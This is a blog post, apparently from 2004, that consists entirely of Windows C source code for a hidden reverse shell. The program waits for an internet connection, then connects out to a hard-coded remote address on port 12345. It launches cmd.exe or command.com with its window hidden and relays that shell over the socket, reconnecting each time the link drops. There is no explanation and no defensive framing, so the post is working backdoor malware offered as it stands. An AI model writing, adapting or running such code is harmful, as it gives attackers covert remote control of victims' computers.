导航

学遍程

Posted on 2004-11-29 08:03  xueyuan  阅读(927)  评论(1编辑  收藏  举报
#include <winsock.h>
#include <windows.h>
#include <stdio.h>
#include <wininet.h>

#pragma comment(lib,"wininet.lib")
#pragma comment(lib,"WS2_32.lib")

#define nBufLen 1000

void main()
{
begin:
while(!InternetGetConnectedState(NULL,0))
{
Sleep(1000);
}

sockaddr_in locsin;
locsin.sin_family = AF_INET;
locsin.sin_port = htons(12345);
locsin.sin_addr.s_addr = inet_addr("265.456.578.897");


SOCKET cons=0;
cons=socket(AF_INET, SOCK_STREAM, 0);
if(cons==INVALID_SOCKET)
{
return;
}

int val=1;
char data[nBufLen];
setsockopt(cons, SOL_SOCKET, SO_REUSEADDR, (char*)&val, sizeof(val));

if(connect(cons,(sockaddr *)&locsin,sizeof(locsin))!=0)
{
if(cons)
closesocket(cons);

Sleep(10000);

goto begin;
}
else
{
;
}

HANDLE rp1, wp1, rp2, wp2;
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof(sa);
sa.lpSecurityDescriptor = 0;
sa.bInheritHandle = 1;
CreatePipe(&rp1, &wp1, &sa, 0);
CreatePipe(&rp2, &wp2, &sa, 0);
STARTUPINFO si;
PROCESS_INFORMATION pi;

memset(&si,0,sizeof(si));
si.hStdError = si.hStdOutput = wp1;
si.hStdInput = rp2;
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.dwX = si.dwY = si.dwXSize = si.dwYSize = 0L;
si.lpReserved = NULL;
si.lpReserved2 = NULL;
si.cbReserved2 = 0;
si.cb = sizeof(STARTUPINFO);
OSVERSIONINFO osvi;
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if(GetVersionEx(&osvi)==FALSE) {
OutputDebugString("Unable to get version info\n");
return;
}
if (osvi.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS)
{ if(!CreateProcess(0, "command.com", 0, 0, TRUE,0, 0, 0, &si, &pi))
{
val=(int)GetLastError();
return;
}
CloseHandle(pi.hThread);
}
else
{
if(!CreateProcess(0, "cmd.exe", 0, 0, TRUE,0, 0, 0, &si, &pi))
{
val=(int)GetLastError();
return;
}
CloseHandle(rp2);CloseHandle(wp1);
}


HANDLE h_con;
h_con=CreateEvent(NULL,1,0,NULL);
ResetEvent(h_con);
Sleep(200);
u_long num, use;
while(WaitForSingleObject(h_con,0)!=WAIT_OBJECT_0)
{
while(1)//bytes in pipe
{
u_long i=0;
u_long j=0;
num=0;
use=0;

if(!PeekNamedPipe(rp1, data, nBufLen, &num, 0, 0))
{num=0xffffffff;break;}//return TURE is OK
use=num;
if(use)
{
if(!ReadFile(rp1, data, nBufLen, &num, 0))
{
num=0xffffffff;
break;
}//return 0 if error, close
}
if(num)
{
while(i<num)
{
j=send(cons, data, num, 0);
if(j>0)
i+=j;
}
}
memset(data,0,nBufLen);
Sleep(100);
if(!use)break;
}
if(num==0xffffffff)break;
val=recv(cons, data, nBufLen ,0);
if(val==0||val==SOCKET_ERROR)
{
break;
}
else
{
;
}

WriteFile(wp2, data, val, &num, 0);
Sleep(100);
}

WriteFile(wp2,"exit\n",strlen("exit\n"),&num,0);

Sleep(200);
CloseHandle(rp1);CloseHandle(wp2);
closesocket(cons);
goto begin;
return;
}